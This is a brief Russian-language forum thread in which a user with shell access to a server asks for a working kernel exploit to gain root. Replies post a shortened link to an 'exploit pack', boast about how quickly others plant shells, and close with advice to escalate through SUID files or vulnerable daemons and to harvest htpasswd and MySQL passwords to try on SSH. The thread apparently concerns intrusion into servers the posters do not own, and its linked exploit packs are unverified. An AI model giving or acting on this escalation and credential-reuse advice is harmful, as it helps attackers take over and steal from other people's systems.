Всем привет. Знаю тема затасканная, но вот ответ на такой вопрос нигде не нашел.

Имеется тачка:

uname -a

Попробовал такой сплойт:

Попробуй этот сплойт-пак - http://bit.ly/c4y4Go

Он не сработает. попробуй этот и о результатах отпиши плиз. Типа свежий сплойтик

Херня какая то, SlaxModulator... Или я тебя не понял(

Идеи закончились?)

*Второй день* ето сказки аля ксакеп, которым даже жопу нельзя вытереть, у норм людей до забития на шелл уходит 15 мин макс.

бывает что на сервере есть нужная инфа , так что приходится искать сплойт))

актуального рабочего эксплойта под данную версию, учитывая дату обновления ядра, нет, попробуйте повысить привелегии через суидные файлы, или уязвимые демоны, также можно поискать какие-либо еще пароли в системах htpasswd/mysql/etc. и попробовать их на ssh.
